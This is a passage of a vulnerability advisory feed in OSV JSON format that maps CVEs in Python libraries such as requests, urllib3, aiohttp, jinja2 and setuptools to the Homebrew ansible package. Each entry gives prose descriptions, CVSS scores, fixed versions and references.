2.32.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9wx4-h78v-vm56"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-35195"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6655"},{"type":"WEB","url":"https://github.com/psf/requests/commit/a58d7f2ffb4d00b46dca2d70a3932a0b37e22fac"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IYLSNK5TL46Q6XPRVMHVWS63MVJQOK4Q"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/N7WP6EYDSUOCOJYHDK5NX43PYZ4SNHGZ"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-3651","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:12:20Z","upstream":["GHSA-jjg7-2v4v-x38h","CVE-2024-3651","PYSEC-2024-60"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.2"},{"fixed":"9.4.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.7","resource":"idna","resource_purl":"pkg:pypi/idna@3.20"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.20","key":"pkg:pypi/idna@3.20","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA) vulnerable to denial of service from specially crafted inputs to idna.encode","details":"### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nThe function has been refined to reject such strings without the associated resource consumption in version 3.7.\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.\n\n### References\n* https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-jjg7-2v4v-x38h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-3651"},{"type":"WEB","url":"https://github.com/kjd/idna/commit/1d365e17e10d72d0b7876316fc7b9ca0eebdd38d"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2024-60.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/05/msg00006.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4YQUPYH3SVZ5GFF2CDQ55FCM575AZTF2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F2S5E23N6E52S46KGNYTDFB75LOC4N4D"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S5IDLLD2IKSIVRBSLB34WTSYGLMWUFWF"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ULSC7HBJKXB3BZV367WM5BR6DFEC4Z43"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-37891","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:13:05Z","upstream":["GHSA-34jh-p97f-mpxf","CVE-2024-37891","PYSEC-2026-1995"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.1.0"},{"fixed":"10.0.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.2","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3's Proxy-Authorization request header isn't stripped during cross-origin redirects","details":"When using urllib3's proxy support with `ProxyManager`, the `Proxy-Authorization` header is only sent to the configured proxy, as expected.\n\nHowever, when sending HTTP requests *without* using urllib3's proxy support, it's possible to accidentally configure the `Proxy-Authorization` header even though it won't have any effect as the request is not using a forwarding proxy or a tunneling proxy. In those cases, urllib3 doesn't treat the `Proxy-Authorization` HTTP header as one carrying authentication material and thus doesn't strip the header on cross-origin redirects.\n\nBecause this is a highly unlikely scenario, we believe the severity of this vulnerability is low for almost all users. Out of an abundance of caution urllib3 will automatically strip the `Proxy-Authorization` header during cross-origin redirects to avoid the small chance that users are doing this on accident.\n\nUsers should use urllib3's proxy support or disable automatic redirects to achieve safe processing of the `Proxy-Authorization` header, but we still decided to strip the header by default in order to further protect users who aren't using the correct approach.\n\n## Affected usages\n\nWe believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:\n\n* Setting the `Proxy-Authorization` header without using urllib3's built-in proxy support.\n* Not disabling HTTP redirects.\n* Either not using an HTTPS origin server or for the proxy or target origin to redirect to a malicious origin.\n\n## Remediation\n\n* Using the `Proxy-Authorization` header with urllib3's `ProxyManager`.\n* Disabling HTTP redirects using `redirects=False` when sending requests.\n* Not using the `Proxy-Authorization` header.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-34jh-p97f-mpxf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37891"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/40b6d1605814dd1db0a46e202d6e56f2e4c9a468"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/accff72ecc2f6cf5a76d9570198a93ac7c90270e"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240822-0003"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/proxy-authorization-header-handling-vulnerability-in-urllib3-cve-2024-37891"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-42367","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-jwhx-xcg6-8xhj","CVE-2024-42367","PYSEC-2026-1108"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"In aiohttp, compressed files as symlinks are not protected from path traversal","details":"### Summary\nStatic routes which contain files with compressed variants (`.gz` or `.br` extension) were vulnerable to path traversal outside the root directory if those variants are symbolic links.\n\n### Details\nThe server protects static routes from path traversal outside the root directory when `follow_symlinks=False` (default).  It does this by resolving the requested URL to an absolute path and then checking that path relative to the root.  However, these checks are not performed when looking for compressed variants in the `FileResponse` class, and symbolic links are then automatically followed when performing `Path.stat()` and `Path.open()` to send the file.\n\n### Impact\nServers with static routes that contain compressed variants as symbolic links, pointing outside the root directory, or that permit users to upload or create such links, are impacted.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8653/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jwhx-xcg6-8xhj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-42367"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8653"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/ce2e9758814527589b10759a20783fb03b98339f"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/e0ff5246e1d29b7710ab1a2bbc972b48169f1c05/aiohttp/web_fileresponse.py#L177"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/e0ff5246e1d29b7710ab1a2bbc972b48169f1c05/aiohttp/web_urldispatcher.py#L674"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-47081","published":"2026-08-13T16:35:22Z","modified":"2026-10-21T08:48:28Z","upstream":["GHSA-9hjg-9r4m-mvj7","CVE-2024-47081","PYSEC-2026-1872"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.2"},{"fixed":"11.6.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.4","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests vulnerable to .netrc credentials leak via malicious URLs","details":"### Impact\n\nDue to a URL parsing issue, Requests releases prior to 2.32.4 may leak .netrc credentials to third parties for specific maliciously-crafted URLs.\n\n### Workarounds\nFor older versions of Requests, use of the .netrc file can be disabled with `trust_env=False` on your Requests Session ([docs](https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env)).\n\n### References\nhttps://github.com/psf/requests/pull/6965\nhttps://seclists.org/fulldisclosure/2025/Jun/2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47081"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6965"},{"type":"WEB","url":"https://github.com/psf/requests/commit/96ba401c1296ab1dda74a2365ef36d88f7d144ef"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.32.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2026-1872.yaml"},{"type":"WEB","url":"https://pypi.org/project/requests"},{"type":"WEB","url":"https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env"},{"type":"WEB","url":"https://seclists.org/fulldisclosure/2025/Jun/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/11"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/9"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/1"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/6"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-47226","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:32:40Z","upstream":["PYSEC-2024-325","CVE-2024-47226"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"pynetbox","resource_purl":"pkg:pypi/pynetbox@7.9.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pynetbox","subject_version":"7.9.0","key":"pkg:pypi/pynetbox@7.9.0","resource":"pynetbox"}]},"details":"A stored cross-site scripting (XSS) vulnerability exists in NetBox 4.1.0 within the \"Configuration History\" feature of the \"Admin\" panel via a /core/config-revisions/ Add action. An authenticated user can inject arbitrary JavaScript or HTML into the \"Top banner\" field. NOTE: Multiple third parties have disputed this as not a vulnerability. It is argued that the configuration revision banner feature is meant to contain unsanitized HTML in order to display notifications to users. Since these fields are intended to display unsanitized HTML, this is working as intended.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://github.com/netbox-community/netbox/releases/tag/v4.1.0"},{"type":"REPORT","url":"https://github.com/tu3n4nh/netbox/issues/1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-52303","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-27mf-ghqm-j3j8","CVE-2024-52303","PYSEC-2026-1096"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.11","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp has a memory leak when middleware is enabled when requesting a resource with a non-allowed method","details":"### Summary\n\nA memory leak can occur when a request produces a `MatchInfoError`. This was caused by adding an entry to a cache on each request, due to the building of each `MatchInfoError` producing a unique cache entry.\n\n### Impact\n\nIf the user is making use of any middlewares with `aiohttp.web` then it is advisable to upgrade immediately.\n\nAn attacker may be able to exhaust the memory resources of a server by sending a substantial number (100,000s to millions) of such requests.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bc15db61615079d1b6327ba42c682f758fa96936","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-27mf-ghqm-j3j8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-52303"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bc15db61615079d1b6327ba42c682f758fa96936"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-52304","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-8495-4g3g-x7pr","CVE-2024-52304","PYSEC-2026-1103"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.11","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp allows request smuggling due to incorrect parsing of chunk extensions","details":"### Summary\nThe Python parser parses newlines in chunk extensions incorrectly which can lead to request smuggling vulnerabilities under certain conditions.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or `AIOHTTP_NO_EXTENSIONS` is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/259edc369075de63e6f3a4eaade058c62af0df71","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-8495-4g3g-x7pr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-52304"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/259edc369075de63e6f3a4eaade058c62af0df71"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-56201","published":"2026-08-13T16:35:22Z","modified":"2026-10-13T22:10:16Z","upstream":["GHSA-gmj6-6f8f-6699","CVE-2024-56201","PYSEC-2026-1472"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.0"},{"fixed":"9.0.1"},{"introduced":"9.2.0"},{"fixed":"11.1.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through malicious filenames","details":"A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used.\n\nTo exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-gmj6-6f8f-6699"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56201"},{"type":"WEB","url":"https://github.com/pallets/jinja/issues/1792"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/767b23617628419ae3709ccfb02f9602ae9fe51f"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-56326","published":"2026-08-13T16:35:22Z","modified":"2026-10-13T22:10:16Z","upstream":["GHSA-q2x7-8rv6-6q7h","CVE-2024-56326","PYSEC-2026-1475"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.2"},{"fixed":"9.0.1"},{"introduced":"9.2.0"},{"fixed":"11.1.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through indirect reference to format method","details":"An oversight in how the Jinja sandboxed environment detects calls to `str.format` allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's `format` method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-q2x7-8rv6-6q7h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56326"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/48b0687e05a5466a91cd5812d604fa37ad0943b4"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-6345","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:32:40Z","upstream":["GHSA-cx63-2mw6-8hw5","BIT-setuptools-2024-6345","CVE-2024-6345","PYSEC-2026-1918"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.1.0"},{"fixed":"2.1.2.0"},{"introduced":"9.2.0"},{"fixed":"9.6.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"70.0.0","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.2.1","key":"pkg:pypi/setuptools@84.2.1","resource":"setuptools"}]},"summary":"setuptools vulnerable to Command Injection via package URL","details":"A vulnerability in the `package_index` module of pypa/setuptools versions up to 69.1.1 allows for remote code execution via its download functions. These functions, which are used to download packages from URLs provided by users or retrieved from package index servers, are susceptible to code injection. If these functions are exposed to user-controlled inputs, such as package URLs, they can execute arbitrary commands on the system. The issue is fixed in version 70.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-6345"},{"type":"WEB","url":"https://github.com/pypa/setuptools/pull/4332"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/88807c7062788254f654ea8c03427adc859321f0"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/09/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-8775","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2024-8775","GHSA-jpxc-vmjf-9fcj","PYSEC-2026-1124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.17.6","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.6"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.6","key":"pkg:pypi/ansible-core@2.21.6","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-core: exposure of sensitive information in ansible vault files due to improper logging","details":"A flaw was found in Ansible, where sensitive information stored in Ansible Vault files can be exposed in plaintext during the execution of a playbook. This occurs when using tasks such as include_vars to load vaulted variables without setting the no_log: true parameter, resulting in sensitive data being printed in the playbook output or logs. This can lead to the unintentional disclosure of secrets like passwords or API keys, compromising security and potentially allowing unauthorized access or actions.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://access.redhat.com/downloads/content/package-browser/"},{"type":"WEB","url":"https://catalog.redhat.com/software/containers/"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:10762"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:8969"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:9894"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2025:1249"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2024-8775"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/8xxx/CVE-2024-8775.json"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jpxc-vmjf-9fcj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-8775"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2312119"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-9902","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2024-9902","GHSA-32p4-gm2c-wmch","PYSEC-2026-1121"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.18.0rc2","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.6"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.6","key":"pkg:pypi/ansible-core@2.21.6","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-core: ansible-core user may read/write unauthorized content","details":"A flaw was found in Ansible. The ansible-core `user` module can allow an unprivileged user to silently create or replace the contents of any file on any system path and take ownership of it when a privileged user executes the `user` module against the unprivileged user's home directory. If the unprivileged user has traversal permissions on the directory containing the exploited target file, they retain full control over the contents of the file as its 